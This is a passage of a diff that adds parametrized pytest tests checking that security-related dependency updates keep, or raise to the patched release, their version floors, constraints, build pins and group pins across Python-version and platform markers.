+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ low_marker = "python_version < '3.11'"
+ high_marker = "python_version >= '3.11'"
+ base_packages = [("numpy", "2.2.6"), ("numpy", "2.4.6")]
+ head_packages = [("numpy", "2.2.7"), ("numpy", "2.4.7")]
+ base_markers = {
+ ("numpy", "2.2.6"): ["python_full_version < '3.11'"],
+ ("numpy", "2.4.6"): [
+ "python_full_version >= '3.11' and sys_platform == 'linux'",
+ "python_full_version >= '3.11' and sys_platform != 'linux'",
+ ],
+ }
+ head_markers = {
+ ("numpy", "2.2.7"): ["python_full_version < '3.11'"],
+ ("numpy", "2.4.7"): [
+ "python_full_version >= '3.11' and sys_platform == 'linux'",
+ "python_full_version >= '3.11' and sys_platform != 'linux'",
+ ],
+ }
+ original = "numpy>=1,<3"
+ low = "numpy>=2.2.7,<3; " + low_marker
+ high = "numpy>=2.4.7,<3; " + high_marker
+ base_optional = {
+ "datalib": [original],
+ "voice_helpers": ["numpy>=2.0.2,<3"],
+ }
+ head_optional = {
+ "datalib": [low, high],
+ "voice_helpers": [low, high],
+ }
+ base_constraints: list[str] | None = None
+ head_constraints: list[str] | None = None
+ base_groups: dict[str, list[str]] | None = None
+ head_groups: dict[str, list[str]] | None = None
+
+ if variant in {"direct-membership-split", "protected-membership-split"}:
+ base_markers[("numpy", "2.2.6")] = ["python_full_version == '3.10.*'"]
+ head_markers[("numpy", "2.2.7")] = ["python_full_version == '3.10.*'"]
+ low = "numpy>=2.2.7,<3; python_version in '3.10'"
+ high = "numpy>=2.4.7,<3; python_version not in '3.10'"
+ head_optional = {
+ "datalib": [low, high],
+ "voice_helpers": [low, high],
+ }
+
+ if variant == "direct-high-only":
+ head_packages[0] = ("numpy", "2.2.6")
+ head_markers.pop(("numpy", "2.2.7"))
+ head_markers[("numpy", "2.2.6")] = ["python_full_version < '3.11'"]
+ head_optional["datalib"][0] = "numpy>=1,<3; " + low_marker
+ head_optional["voice_helpers"][0] = "numpy>=2.0.2,<3; " + low_marker
+ elif variant == "direct-low-insufficient":
+ head_optional["datalib"][0] = "numpy>=2.2.6,<3; " + low_marker
+ elif variant == "direct-high-insufficient":
+ head_optional["voice_helpers"][1] = "numpy>=2.4.6,<3; " + high_marker
+ elif variant == "direct-gap":
+ head_optional["datalib"] = [high]
+ elif variant == "direct-overlap":
+ head_optional["datalib"][0] = "numpy>=2.4.7,<3; python_version < '3.12'"
+ elif variant == "direct-partial-domain":
+ head_optional["datalib"][0] = "numpy>=2.2.7,<3; python_version < '3.11' and sys_platform == 'linux'"
+ elif variant == "direct-moved-group":
+ head_optional["moved"] = head_optional.pop("datalib")
+ elif variant == "direct-upper-removed":
+ head_optional["datalib"][0] = "numpy>=2.2.7; " + low_marker
+ elif variant == "direct-exclusion-removed":
+ base_optional["datalib"] = ["numpy>=1,<3,!=2.3"]
+ elif variant == "direct-original-lowered":
+ head_packages[0] = ("numpy", "2.2.6")
+ head_markers.pop(("numpy", "2.2.7"))
+ head_markers[("numpy", "2.2.6")] = ["python_full_version < '3.11'"]
+ head_optional["voice_helpers"][0] = "numpy>=1,<3; " + low_marker
+ elif variant.startswith("protected-"):
+ base_optional = head_optional = {}
+ if variant == "protected-group":
+ base_groups, head_groups = {"dev": [original]}, {"dev": [low, high]}
+ else:
+ base_constraints, head_constraints = [original], [low, high]
+ if variant == "protected-insufficient":
+ head_constraints[0] = "numpy>=2.2.6,<3; " + low_marker
+ elif variant == "protected-gap":
+ head_constraints = [high]
+ elif variant == "protected-upper-removed":
+ head_constraints[0] = "numpy>=2.2.7; " + low_marker
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[],
+ head_requirements=[],
+ base_packages=base_packages,
+ head_packages=head_packages,
+ base_optional_groups=base_optional,
+ head_optional_groups=head_optional,
+ base_constraints=base_constraints,
+ head_constraints=head_constraints,
+ base_dependency_groups=base_groups,
+ head_dependency_groups=head_groups,
+ base_resolution_markers=base_markers,
+ head_resolution_markers=head_markers,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("constraint-equal", True, id="uv-security-constraint-preserved"),
+ pytest.param("constraint-higher", True, id="uv-security-constraint-raised"),
+ pytest.param("constraint-reordered", True, id="uv-security-constraints-reordered"),
+ pytest.param("constraint-lowered", False, id="uv-security-constraint-lowered"),
+ pytest.param("constraint-removed", False, id="uv-security-constraint-removed"),
+ pytest.param("constraint-section-removed", False, id="uv-security-constraint-section-removed"),
+ pytest.param("constraint-marker-swap", False, id="uv-security-constraint-markers-swapped"),
+ pytest.param("build-pin-preserved", True, id="uv-build-security-pin-preserved"),
+ pytest.param("build-pin-lowered", False, id="uv-build-security-pin-lowered"),
+ pytest.param("build-pin-removed", False, id="uv-build-security-pin-removed"),
+ pytest.param("group-floor-raised", True, id="dependency-group-security-floor-raised"),
+ pytest.param("group-floor-lowered", False, id="dependency-group-security-floor-lowered"),
+ pytest.param("group-floor-removed", False, id="dependency-group-security-floor-removed"),
+ pytest.param("group-pin-lowered", False, id="dependency-group-exact-security-pin-lowered"),
+ pytest.param("group-context-swap", False, id="pydantic-dependency-group-contexts-swapped"),
+ pytest.param("unbounded-group-preserved", True, id="unbounded-dependency-group-preserved"),
+ ],
+)
+def test_security_updates_preserve_uv_and_dependency_group_floors(tmp_path: Path, variant: str, accepted: bool) -> None:
+ base_constraints: list[str] | None = None
+ head_constraints: list[str] | None = None
+ base_build_constraints: list[str] | None = None
+ head_build_constraints: list[str] | None = None
+ base_groups: dict[str, list[str]] | None = None
+ head_groups: dict[str, list[str]] | None = None
+ if variant == "constraint-equal":
+ base_constraints = head_constraints = ["cryptography>=50.0.0"]
+ elif variant == "constraint-higher":
+ base_constraints, head_constraints = ["cryptography>=50.0.0"], ["cryptography>=51.0.0"]
+ elif variant == "constraint-reordered":
+ base_constraints = ["cryptography>=50.0.0", "requests>=2.33.0"]
+ head_constraints = ["requests>=2.33.0", "cryptography>=50.0.0"]
+ elif variant == "constraint-lowered":
+ base_constraints, head_constraints = ["cryptography>=50.0.0"], ["cryptography>=49.0.0"]
+ elif variant == "constraint-removed":
+ base_constraints = ["cryptography>=50.0.0", "requests>=2.33.0"]
+ head_constraints = ["requests>=2.33.0"]
+ elif variant == "constraint-section-removed":
+ base_constraints = ["cryptography>=50.0.0"]
+ elif variant == "constraint-marker-swap":
+ base_constraints = [
+ "cryptography>=50; python_version < '3.11'",
+ "cryptography>=49; python_version >= '3.11'",
+ ]
+ head_constraints = [
+ "cryptography>=49; python_version < '3.11'",
+ "cryptography>=50; python_version >= '3.11'",
+ ]
+ elif variant == "build-pin-preserved":
+ base_build_constraints = head_build_constraints = ["hatchling==1.27.0"]
+ elif variant == "build-pin-lowered":
+ base_build_constraints, head_build_constraints = ["hatchling==1.27.0"], ["hatchling==1.26.0"]
+ elif variant == "build-pin-removed":
+ base_build_constraints, head_build_constraints = ["hatchling==1.27.0"], []
+ elif variant == "group-floor-raised":
+ base_groups, head_groups = {"dev": ["pytest>=9.0.3"]}, {"dev": ["pytest>=9.0.4"]}
+ elif variant == "group-floor-lowered":
+ base_groups, head_groups = {"dev": ["pytest>=9.0.3"]}, {"dev": ["pytest>=9.0.2"]}
+ elif variant == "group-floor-removed":
+ base_groups = {"dev": ["pytest>=9.0.3"]}
+ head_groups = {"dev": []}
+ elif variant == "group-pin-lowered":
+ base_groups, head_groups = {"build": ["hatchling==1.27.0"]}, {"build": ["hatchling==1.26.0"]}
+ elif variant == "group-context-swap":
+ base_groups = {"pydantic-v1": ["pydantic>=1.10"], "pydantic-v2": ["pydantic>=2"]}
+ head_groups = {"pydantic-v1": ["pydantic>=2"], "pydantic-v2": ["pydantic>=1.10"]}
+ elif variant == "unbounded-group-preserved":
+ base_groups = head_groups = {"dev": ["ruff"]}
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[],
+ head_requirements=[],
+ base_packages=[
+ ("cryptography", "50.0.0"),
+ ("requests", "2.33.0"),
+ ("hatchling", "1.27.0"),
+ ("pytest", "9.0.3"),
+ ("pydantic", "1.10"),
+ ("pydantic", "2"),
+ ("ruff", "1"),
+ ],
+ head_packages=[
+ ("cryptography", "50.0.0"),
+ ("requests", "2.33.0"),
+ ("hatchling", "1.27.0"),
+ ("pytest", "9.0.3"),
+ ("pydantic", "1.10"),
+ ("pydantic", "2"),
+ ("ruff", "1"),
+ ],
+ base_constraints=base_constraints,
+ head_constraints=head_constraints,
+ base_build_constraints=base_build_constraints,
+ head_build_constraints=head_build_constraints,
+ base_dependency_groups=base_groups,
+ head_dependency_groups=head_groups,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("constraint-lock-only", False, id="protected-transitive-lock-only-security-update"),
+ pytest.param("constraint-insufficient", False, id="protected-transitive-floor-below-patched-release"),
+ pytest.param("constraint-patched", True, id="protected-transitive-floor-reaches-patched-release"),
+ pytest.param("constraint-higher", True, id="protected-transitive-floor-exceeds-patched-release"),
+ pytest.param("constraint-upper-blocks", False, id="protected-transitive-upper-bound-excludes-patch"),
+ pytest.param("constraint-unchanged-lock", True, id="protected-transitive-unchanged-lock-preserved"),
+ pytest.param("unrelated-transitive", True, id="unrelated-transitive-lock-only-update-preserved"),
+ pytest.param("unbounded-group", True, id="unbounded-development-group-lock-update-preserved"),
+ pytest.param("group-lock-only", False, id="development-group-floor-must-reach-patched-release"),
+ pytest.param("group-patched", True, id="development-group-floor-reaches-patched-release"),
+ pytest.param("build-pin-lock-only", False, id="build-constraint-pin-must-reach-patched-release"),
+ pytest.param("build-pin-patched", True, id="build-constraint-pin-reaches-patched-release"),
+ pytest.param("post-lock-only", False, id="protected-floor-must-reach-stable-post-release"),
+ pytest.param("post-patched", True, id="protected-floor-reaches-stable-post-release"),
+ pytest.param("epoch-lock-only", False, id="protected-floor-must-reach-new-epoch-release"),
+ pytest.param("epoch-patched", True, id="protected-floor-reaches-new-epoch-release"),
+ pytest.param("downgrade", False, id="protected-locked-release-cannot-downgrade"),
+ pytest.param("added-release", False, id="protected-added-release-without-prior-line-fails-closed"),
+ pytest.param("removed-release", False, id="protected-removed-release-without-patch-fails-closed"),
+ pytest.param("prerelease", False, id="protected-prerelease-patch-fails-closed"),
+ pytest.param("marker-low-unaffected", False, id="unprotected-marker-line-upgrade-requires-security-boundary"),
+ pytest.param("marker-high-lock-only", False, id="protected-marker-context-floor-must-reach-patch"),
+ pytest.param("marker-high-patched", True, id="protected-marker-context-floor-reaches-patch"),
+ pytest.param("pydantic-v1-lock-only", False, id="protected-pydantic-v1-floor-must-reach-patch"),
+ pytest.param("pydantic-v1-patched", True, id="protected-pydantic-v1-patch-preserves-v2-line"),
+ pytest.param("pydantic-v2-patched", True, id="protected-pydantic-v2-patch-preserves-v1-line"),
+ ],
+)
+def test_protected_security_floors_must_reach_their_patched_release(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ base_constraints: list[str] | None = ["cryptography>=50"]
+ head_constraints: list[str] | None = ["cryptography>=50"]
+ base_build_constraints: list[str] | None = None
+ head_build_constraints: list[str] | None = None
+ base_groups: dict[str, list[str]] | None = None
+ head_groups: dict[str, list[str]] | None = None
+ base_packages = [("cryptography", "50")]
+ head_packages = [("cryptography", "51")]
+ base_markers: dict[tuple[str, str], list[str]] | None = None
+ head_markers: dict[tuple[str, str], list[str]] | None = None
+
+ if variant == "constraint-insufficient":
+ head_constraints = ["cryptography>=50.1"]
+ elif variant == "constraint-patched":
+ head_constraints = ["cryptography>=51"]
+ elif variant == "constraint-higher":
+ head_constraints = ["cryptography>=52"]
+ elif variant == "constraint-upper-blocks":
+ base_constraints = ["cryptography>=50,<52"]
+ head_constraints = ["cryptography>=51,<51"]
+ elif variant == "constraint-unchanged-lock":
+ head_packages = list(base_packages)
+ elif variant == "unrelated-transitive":
+ base_packages.append(("unrelated", "1"))
+ head_packages = [("cryptography", "50"), ("unrelated", "2")]
+ head_constraints = ["cryptography>=50", "unrelated>=2"]
+ elif variant == "unbounded-group":
+ base_constraints = head_constraints = None
+ base_groups = {"dev": ["ruff"]}
+ head_groups = {"dev": ["ruff>=2"]}
+ base_packages, head_packages = [("ruff", "1")], [("ruff", "2")]
+ elif variant in {"group-lock-only", "group-patched"}:
+ base_constraints = head_constraints = None
+ base_groups = {"dev": ["pytest>=9"]}
+ head_groups = {"dev": ["pytest>=10" if variant == "group-patched" else "pytest>=9"]}
+ base_packages, head_packages = [("pytest", "9")], [("pytest", "10")]
+ elif variant in {"build-pin-lock-only", "build-pin-patched"}:
+ base_constraints = head_constraints = None
+ base_build_constraints = ["hatchling==1.27"]
+ head_build_constraints = ["hatchling==1.28" if variant == "build-pin-patched" else "hatchling==1.27"]
+ base_packages, head_packages = [("hatchling", "1.27")], [("hatchling", "1.28")]
+ elif variant in {"post-lock-only", "post-patched"}:
+ base_constraints = ["cryptography>=50"]
+ head_constraints = ["cryptography>=50.post1" if variant == "post-patched" else "cryptography>=50"]
+ base_packages, head_packages = [("cryptography", "50")], [("cryptography", "50.post1")]
+ elif variant in {"epoch-lock-only", "epoch-patched"}:
+ base_constraints = ["cryptography>=0!50"]
+ head_constraints = ["cryptography>=1!1" if variant == "epoch-patched" else "cryptography>=0!50"]
+ base_packages, head_packages = [("cryptography", "50")], [("cryptography", "1!1")]
+ elif variant == "downgrade":
+ base_constraints, head_constraints = ["cryptography>=50"], ["cryptography>=51"]
+ base_packages, head_packages = [("cryptography", "52")], [("cryptography", "51")]
+ elif variant == "added-release":
+ head_constraints = ["cryptography>=51"]
+ head_packages = [("cryptography", "50"), ("cryptography", "51")]
+ elif variant == "removed-release":
+ head_constraints = ["cryptography>=51"]
+ base_packages = [("cryptography", "50"), ("cryptography", "51")]
+ head_packages = [("cryptography", "51")]
+ elif variant == "prerelease":
+ head_constraints = ["cryptography>=51"]
+ head_packages = [("cryptography", "51rc1")]
+ elif variant.startswith("marker-"):
+ old_requirement = "cryptography>=50; python_version < '3.11'"
+ new_requirement = "cryptography>=60; python_version >= '3.11'"
+ base_constraints = [old_requirement]
+ head_constraints = [old_requirement]
+ if variant != "marker-low-unaffected":
+ base_constraints.append(new_requirement)
+ head_constraints.append(
+ "cryptography>=61; python_version >= '3.11'" if variant == "marker-high-patched" else new_requirement
+ )
+ base_packages = [("cryptography", "50"), ("cryptography", "60")]
+ head_packages = [("cryptography", "50"), ("cryptography", "61")]
+ base_markers = {
+ ("cryptography", "50"): ["python_full_version < '3.11'"],
+ ("cryptography", "60"): ["python_full_version >= '3.11'"],
+ }
+ head_markers = {
+ ("cryptography", "50"): ["python_full_version < '3.11'"],
+ ("cryptography", "61"): ["python_full_version >= '3.11'"],
+ }
+ elif variant.startswith("pydantic-"):
+ base_constraints = head_constraints = None
+ base_groups = {
+ "pydantic-v1": ["pydantic>=1.10,<2"],
+ "pydantic-v2": ["pydantic>=2,<3"],
+ }
+ head_groups = {
+ "pydantic-v1": ["pydantic>=1.11,<2" if variant == "pydantic-v1-patched" else "pydantic>=1.10,<2"],
+ "pydantic-v2": ["pydantic>=2.13,<3" if variant == "pydantic-v2-patched" else "pydantic>=2,<3"],
+ }
+ base_packages = [("pydantic", "1.10"), ("pydantic", "2.12")]
+ head_packages = (
+ [("pydantic", "1.10"), ("pydantic", "2.13")]
+ if variant == "pydantic-v2-patched"
+ else [("pydantic", "1.11"), ("pydantic", "2.12")]
+ )
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[],
+ head_requirements=[],
+ base_packages=base_packages,
+ head_packages=head_packages,
+ base_constraints=base_constraints,
+ head_constraints=head_constraints,
+ base_build_constraints=base_build_constraints,
+ head_build_constraints=head_build_constraints,
+ base_dependency_groups=base_groups,
+ head_dependency_groups=head_groups,
+ base_resolution_markers=base_markers,
+ head_resolution_markers=head_markers,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("lock-only", False, id="newly-patched-transitive-lock-needs-security-boundary"),
+ pytest.param("grouped-lock-only", False, id="grouped-direct-patch-cannot-hide-transitive-lock-only"),
+ pytest.param("unbounded-group", False, id="unbounded-development-entry-is-not-a-security-boundary"),
+ pytest.param("constraint-missing-floor", False, id="new-uv-constraint-without-floor-does-not-protect"),
+ pytest.param("constraint-too-low", False, id="new-uv-constraint-must-reach-patched-release"),
+ pytest.param("constraint-old-inclusive", False, id="new-boundary-must-exclude-vulnerable-old-release"),
+ pytest.param("constraint-excludes-patch", False, id="new-boundary-must-admit-actual-patched-release"),
+ pytest.param("strict-excludes-patch", False, id="strict-boundary-cannot-exclude-patched-release"),
+ pytest.param("wrong-marker", False, id="transitive-security-floor-cannot-move-marker-domain"),
+ pytest.param("widened-marker", False, id="transitive-security-floor-cannot-widen-over-supported-line"),
+ pytest.param("added-without-removal", False, id="shared-transitive-upgrade-cannot-retain-vulnerable-release"),
+ pytest.param("ambiguous-upgrade", False, id="shared-transitive-upgrade-must-pair-one-for-one"),
+ pytest.param("downgrade", False, id="shared-transitive-security-release-cannot-downgrade"),
+ pytest.param("uv-floor", True, id="new-reviewed-uv-security-floor-covers-transitive-patch"),
+ pytest.param("uv-exact", True, id="new-reviewed-exact-uv-pin-covers-transitive-patch"),
+ pytest.param("build-exact", True, id="new-reviewed-build-pin-covers-transitive-patch"),
+ pytest.param("group-floor", True, id="new-reviewed-development-floor-covers-transitive-patch"),
+ pytest.param("published-floor", True, id="new-published-floor-covers-former-transitive-patch"),
+ pytest.param("unchanged", True, id="unchanged-unprotected-transitive-release-remains-supported"),
+ pytest.param("new-package", True, id="genuinely-new-package-introduction-remains-supported"),
+ pytest.param("removed-package", True, id="fully-removed-transitive-package-remains-supported"),
+ pytest.param("canonical-name", True, id="canonical-equivalent-transitive-name-remains-supported"),
+ pytest.param("marker-floor", True, id="matching-marker-security-floor-preserves-unaffected-line"),
+ pytest.param("epoch-floor", True, id="matching-epoch-security-floor-covers-transitive-patch"),
+ pytest.param("post-floor", True, id="matching-stable-post-floor-covers-transitive-patch"),
+ pytest.param("independent-majors", True, id="new-reviewed-v2-floor-preserves-independent-v1-lock"),
+ ],
+)
+def test_newly_patched_transitive_dependencies_require_security_boundaries(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ name, old, patched = "transitive", "1", "2"
+ base_requirements, head_requirements = ["patch-me>=1"], ["patch-me>=1.1"]
+ before: list[tuple[str, str]] = [(name, old)]
+ after: list[tuple[str, str]] = [(name, patched)]
+ base_constraints: list[str] | None = None
+ head_constraints: list[str] | None = None
+ base_build: list[str] | None = None
+ head_build: list[str] | None = None
+ base_groups: dict[str, list[str]] | None = None
+ head_groups: dict[str, list[str]] | None = None
+ base_markers: dict[tuple[str, str], list[str]] | None = None
+ head_markers: dict[tuple[str, str], list[str]] | None = None
+
+ if variant == "lock-only":
+ head_requirements = list(base_requirements)
+ elif variant == "unbounded-group":
+ base_groups = head_groups = {"dev": [name]}
+ elif variant == "constraint-missing-floor":
+ head_constraints = [name]
+ elif variant == "constraint-too-low":
+ head_constraints = [name + ">=1.5"]
+ elif variant == "constraint-old-inclusive":
+ head_constraints = [name + ">=1"]
+ elif variant == "constraint-excludes-patch":
+ head_constraints = [name + ">=2,<2"]
+ elif variant == "strict-excludes-patch":
+ head_constraints = [name + ">2"]
+ elif variant in {"wrong-marker", "widened-marker", "marker-floor"}:
+ before = [(name, "1"), (name, "2")]
+ after = [(name, "1"), (name, "3")]
+ base_markers = {
+ (name, "1"): ["python_full_version < '3.11'"],
+ (name, "2"): ["python_full_version >= '3.11'"],
+ }
+ head_markers = {
+ (name, "1"): ["python_full_version < '3.11'"],
+ (name, "3"): ["python_full_version >= '3.11'"],
+ }
+ if variant == "wrong-marker":
+ head_constraints = [name + ">=3; python_version < '3.11'"]
+ elif variant == "widened-marker":
+ head_constraints = [name + ">=3"]
+ else:
+ head_constraints = [name + ">=3; python_version >= '3.11'"]
+ elif variant == "added-without-removal":
+ after = [(name, old), (name, patched)]
+ head_constraints = [name + ">=2"]
+ elif variant == "ambiguous-upgrade":
+ after = [(name, "2"), (name, "3")]
+ head_constraints = [name + ">=2"]
+ elif variant == "downgrade":
+ before, after = [(name, "2")], [(name, "1")]
+ head_constraints = [name + ">=1"]
+ elif variant == "uv-floor":
+ head_constraints = [name + ">=2"]
+ elif variant == "uv-exact":
+ head_constraints = [name + "==2"]
+ elif variant == "build-exact":
+ head_build = [name + "==2"]
+ elif variant == "group-floor":
+ head_groups = {"reviewed": [name + ">=2"]}
+ elif variant == "published-floor":
+ head_requirements.append(name + ">=2")
+ elif variant == "unchanged":
+ after = list(before)
+ elif variant == "new-package":
+ before = []
+ elif variant == "removed-package":
+ after = []
+ elif variant == "canonical-name":
+ before = [("Transitive_Pkg", old)]
+ after = [("transitive-pkg", patched)]
+ head_constraints = ["transitive.pkg>=2"]
+ elif variant == "epoch-floor":
+ before, after = [(name, "1!1")], [(name, "1!2")]
+ head_constraints = [name + ">=1!2"]
+ elif variant == "post-floor":
+ before, after = [(name, "1.post1")], [(name, "1.post2")]
+ head_constraints = [name + ">=1.post2"]
+ elif variant == "independent-majors":
+ name = "pydantic"
+ before, after = [(name, "1.10"), (name, "2.12")], [(name, "1.10"), (name, "2.13")]
+ head_groups = {"pydantic-v2": [name + ">=2.13,<3"]}
+
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=base_requirements,
+ head_requirements=head_requirements,
+ base_packages=[("patch-me", "1"), *before],
+ head_packages=[("patch-me", "1" if variant == "lock-only" else "1.1"), *after],
+ base_constraints=base_constraints,
+ head_constraints=head_constraints,
+ base_build_constraints=base_build,
+ head_build_constraints=head_build,
+ base_dependency_groups=base_groups,
+ head_dependency_groups=head_groups,
+ base_resolution_markers=base_markers,
+ head_resolution_markers=head_markers,
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("disjoint-unreviewed", False, id="protected-high-domain-cannot-hide-unreviewed-low-upgrade"),
+ pytest.param("disjoint-reviewed", True, id="new-disjoint-reviewed-floor-protects-low-domain"),
+ pytest.param("disjoint-insufficient", False, id="new-disjoint-floor-must-reach-low-domain-patch"),
+ pytest.param("disjoint-drops-retained", False, id="new-overlapping-floor-cannot-drop-retained-high-domain"),
+ pytest.param("broad-prior-partial", False, id="prior-partial-marker-cannot-cover-broad-resolution-domain"),
+ pytest.param("broad-prior-complement", True, id="complementary-prior-markers-cover-broad-resolution-domain"),
+ pytest.param("broad-prior-additive-global", True, id="reviewed-global-floor-may-overlap-protected-domain"),
+ pytest.param("broad-prior-additive-broad", True, id="reviewed-broader-floor-may-overlap-protected-domain"),
+ pytest.param("broad-prior-additive-insufficient", False, id="overlapping-additive-floor-must-reach-patch"),
+ pytest.param("broad-prior-old-weakened", False, id="overlapping-addition-cannot-weaken-original-context"),
+ pytest.param("broad-prior-old-dropped", False, id="overlapping-addition-cannot-remove-original-context"),
+ pytest.param("broad-current-partial", False, id="reviewed-partial-marker-cannot-cover-broad-resolution-domain"),
+ pytest.param("broad-current-complement", True, id="complementary-reviewed-markers-cover-resolution-domain"),
+ pytest.param("platform-prior-partial", False, id="python-platform-conjunction-cannot-cover-other-platforms"),
+ pytest.param("platform-prior-complement", True, id="complementary-platform-markers-cover-every-platform"),
+ pytest.param("membership-prior-partial", False, id="membership-protection-cannot-hide-unlisted-python-lines"),
+ pytest.param("membership-prior-complement", True, id="membership-complements-cover-all-python-lines"),
+ pytest.param("full-version-prior-partial", False, id="full-python-version-protection-cannot-hide-other-lines"),
+ pytest.param("independent-major-unreviewed", False, id="protected-v1-cannot-hide-unreviewed-v2-upgrade"),
+ pytest.param("independent-major-reviewed", True, id="new-reviewed-v2-group-preserves-existing-v1-group"),
+ pytest.param("independent-major-insufficient", False, id="new-v2-group-must-exclude-vulnerable-release"),
+ pytest.param(
+ "independent-major-global-drops-retained",
+ False,
+ id="global-additive-floor-cannot-drop-same-domain-protected-v1-release",
+ ),
+ pytest.param(
+ "independent-major-same-group-drops-retained",
+ False,
+ id="same-group-additive-floor-cannot-drop-same-domain-protected-v1-release",
+ ),
+ pytest.param("mixed-declarations", False, id="same-context-floor-must-protect-the-actual-removed-release"),
+ pytest.param("unchanged-uncovered", True, id="unchanged-unprotected-resolution-domain-remains-supported"),
+ pytest.param("extra-platform-uncovered", False, id="selected-extra-platform-cannot-borrow-linux-protection"),
+ pytest.param("malformed-membership", False, id="ambiguous-protected-domain-membership-fails-closed"),
+ pytest.param("fragment-limit", False, id="overcomplex-security-domain-partition-fails-closed"),
+ ],
+)
+def test_transitive_security_boundaries_cover_every_resolution_fragment(
+ tmp_path: Path, variant: str, accepted: bool
+) -> None:
+ name = "transitive"
+ before = [(name, "4")]
+ after = [(name, "5")]
+ base_requirements = ["patch-me>=1"]
+ head_requirements = ["patch-me>=1.1"]
+ base_constraints: list[str] | None = None
+ head_constraints: list[str] | None = None
+ base_groups: dict[str, list[str]] | None = None
+ head_groups: dict[str, list[str]] | None = None
+ base_optional_edges: dict[tuple[str, str], dict[str, list[dict[str, object]]]] | None = None
+ head_optional_edges: dict[tuple[str, str], dict[str, list[dict[str, object]]]] | None = None
+ broad = "python_full_version >= '3.10'"
+ base_markers: dict[tuple[str, str], list[str]] = {(name, "4"): [broad]}
+ head_markers: dict[tuple[str, str], list[str]] = {(name, "5"): [broad]}
+
+ if variant.startswith("disjoint-"):
+ before = [(name, "1"), (name, "3")]
+ after = [(name, "2"), (name, "3")]
+ base_markers = {
+ (name, "1"): ["python_full_version < '3.11'"],
+ (name, "3"): ["python_full_version >= '3.11'"],
+ }
+ head_markers = {
+ (name, "2"): ["python_full_version < '3.11'"],
+ (name, "3"): ["python_full_version >= '3.11'"],
+ }
+ high = name + ">=3; python_version >= '3.11'"
+ base_constraints = [high]
+ head_constraints = [high]
+ if variant == "disjoint-reviewed":
+ head_constraints.append(name + ">=2; python_version < '3.11'")
+ elif variant == "disjoint-insufficient":
+ head_constraints.append(name + ">=1; python_version < '3.11'")
+ elif variant == "disjoint-drops-retained":
+ head_constraints.append(name + ">=2,<3")
+ elif variant.startswith("broad-prior-"):
+ high = "; python_version >= '3.11'"
+ base_constraints = [name + ">=4" + high]
+ head_constraints = [name + ">=5" + high]
+ if variant == "broad-prior-complement":
+ low = "; python_version < '3.11'"
+ base_constraints.append(name + ">=4" + low)
+ head_constraints.append(name + ">=5" + low)
+ elif variant == "broad-prior-additive-global":
+ head_constraints.append(name + ">=5")
+ elif variant == "broad-prior-additive-broad":
+ head_constraints.append(name + ">=5; python_version >= '3.10'")
+ elif variant == "broad-prior-additive-insufficient":
+ head_constraints.append(name + ">=4")
+ elif variant == "broad-prior-old-weakened":
+ head_constraints = [name + ">=3" + high, name + ">=5"]
+ elif variant == "broad-prior-old-dropped":
+ head_constraints = [name + ">=5"]
+ elif variant in {"broad-current-partial", "broad-current-complement"}:
+ head_constraints = [name + ">=5; python_version >= '3.11'"]
+ if variant == "broad-current-complement":
+ head_constraints.append(name + ">=5; python_version < '3.11'")
+ elif variant in {"platform-prior-partial", "platform-prior-complement"}:
+ marker = "; sys_platform == 'linux'"
+ if variant == "platform-prior-partial":
+ marker = "; python_version >= '3.11' and sys_platform == 'linux'"
+ base_constraints = [name + ">=4" + marker]
+ head_constraints = [name + ">=5" + marker]
+ if variant == "platform-prior-complement":
+ other = "; sys_platform != 'linux'"
+ base_constraints.append(name + ">=4" + other)
+ head_constraints.append(name + ">=5" + other)
+ elif variant in {"membership-prior-partial", "membership-prior-complement"}:
+ marker = "; python_version in '3.11, 3.12'"
+ base_constraints = [name + ">=4" + marker]
+ head_constraints = [name + ">=5" + marker]
+ if variant == "membership-prior-complement":
+ other = "; python_version not in '3.11, 3.12'"
+ base_constraints.append(name + ">=4" + other)
+ head_constraints.append(name + ">=5" + other)
+ elif variant == "full-version-prior-partial":
+ marker = "; python_full_version == '3.11.*'"
+ base_constraints = [name + ">=4" + marker]
+ head_constraints = [name + ">=5" + marker]
+ elif variant.startswith("independent-major-"):
+ name = "pydantic"
+ before = [(name, "1.5"), (name, "2.4")]
+ after = [(name, "1.5"), (name, "2.5")]
+ base_markers = {}
+ head_markers = {}
+ base_groups = {"pydantic-v1": [name + ">=1,<2"]}
+ head_groups = {"pydantic-v1": [name + ">=1,<2"]}
+ if variant == "independent-major-reviewed":
+ head_groups["pydantic-v2"] = [name + ">=2.5,<3"]
+ elif variant == "independent-major-insufficient":
+ head_groups["pydantic-v2"] = [name + ">=2.4,<3"]
+ elif variant == "independent-major-global-drops-retained":
+ head_constraints = [name + ">=2.5,<3"]
+ elif variant == "independent-major-same-group-drops-retained":
+ base_markers = {(name, release): [broad] for _, release in before}
+ head_markers = {(name, release): [broad] for _, release in after}
+ head_groups["pydantic-v1"].append(name + ">=2.5,<3; python_version >= '3.10'")
+ elif variant == "mixed-declarations":
+ before = [(name, "5")]
+ after = [(name, "6")]
+ base_markers = {}
+ head_markers = {}
+ base_constraints = [name + ">=10", name + "<8"]
+ head_constraints = list(base_constraints)
+ elif variant == "unchanged-uncovered":
+ after = list(before)
+ head_markers = dict(base_markers)
+ marker = "; python_version >= '3.11'"
+ base_constraints = [name + ">=4" + marker]
+ head_constraints = list(base_constraints)
+ elif variant == "extra-platform-uncovered":
+ base_requirements.append("parent[feature]")
+ head_requirements.append("parent[feature]")
+ before.insert(0, ("parent", "1"))
+ after.insert(0, ("parent", "1"))
+ edges: dict[tuple[str, str], dict[str, list[dict[str, object]]]] = {
